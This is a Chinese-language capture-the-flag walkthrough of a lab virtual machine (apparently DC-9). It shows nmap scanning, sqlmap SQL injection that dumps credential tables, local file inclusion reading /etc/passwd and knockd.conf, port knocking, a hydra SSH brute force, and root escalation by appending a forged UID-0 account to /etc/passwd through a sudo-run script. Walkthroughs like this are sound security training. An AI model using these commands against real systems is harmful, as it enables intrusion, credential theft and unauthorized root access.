首先继续使用arp-scan -l获取靶机的地址

目标ip 192.168.75.142
接下来使用nmap获取更多的相关信息
nmap -sS -A -p 1-65535 192.168.75.142

不出所料,又是熟悉的80-22两个端口
那也不出所料的直接访问80

一个显示职员的页面,但是在manage.php
中可以进行登录,这里我们肯定要得到管理员账户密码,每个页面进行模糊测试,发现在results.php
中存在严重的POST类型SQL注入。
sqlmap -u "http://192.168.75.142/results.php" --data "search=1" --dbs

?????
被我扫死了?

重启一下虚拟机看看

正常了(汗)
可以看到有一个user库,看看里面有什么东西
sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users --tables

sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users -T UserDetails --dump

这里是那些员工这账号和密码,后面可能会用到,先放着,然后再回过来爆另一个员工库看看会有什么东西:
sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff --tables

sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T StaffDetails --dump

sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T Users --dump


直接使用这个账号密码登录后台试试看

可以看见它多了一个Add Record选项,并无什么有用的东西,再看它下面的那句话:File does not exist ,它说文件不存在,这里就很可以了,随即联想到这里是不是存在LFI漏洞,类似前某一次的DC。


emmm
passwd文件风评被害。。。
所以说LFI是存在的,但是做到这里的时候就卡住了,不知该如何进行下去
在CSDN参考了一些大佬的做法,
晓得这里用的是端口敲门:
原理简单分析:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
简单来说就是:知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf
所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号,用LFI把这个文件爆出来:

知道端口号后,然后进行敲门,使用nmap即可:
nmap -p 7469 192.168.1.109
nmap -p 8475 192.168.1.109
nmap -p 9842 192.168.1.109

然后再用namp看一下靶机的ssh服务是否可以正常利用:
nmap -p22 192.168.75.142

可以看见,ssh服务已经可以利用了,但是需要登录凭证,然后我们把前面所爆出来的那些员工的账号和密码编写成两个字典
hydra -L user.txt -P passwd.txt 192.168.75.142 ssh

真棒,有一个是管理员用户
就先选用这个janitor用户登录
ssh janitor@192.168.75.142

登录进来以后先查看一下都有什么

嗯?密码文件?再爆破?

加到刚刚那个里面试试看
再次hydra起爆

登录吧。。

话不多说,直接看可操作的sudo
sudo -l

在这里我们可以看到,这个用户可以sudo使用root权限在运行一个test程序,而且不需要密码,然后我们先进去这个保存文件测试的位置看一下这是个什么程序:

python脚本

是一个python脚本。既然拥有root权限,那现在我们要做的就是构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限。
回到kali使用openssl工具先创建一个本地的加密用户:
openssl passwd -1 -salt admin 111111

然后回到靶机中,去到那个程序的目录下用echo命令在/tmp目录下创建一个名为aaa的文件(这个文件名可以自定义),再使用sudo用那个test程序来运行这个文件,随后切换成我们添加的这个用户,输入自己设定的密码就可以成功提权到root用户了,最后进入root目录下查看flag即可。
echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaa
sudo ./test /tmp/aaa /etc/passwd
su admin
cd /root
cat theflag.txt


至此,1-9靶机除了dc3有问题以外,全部通关
评论 (0)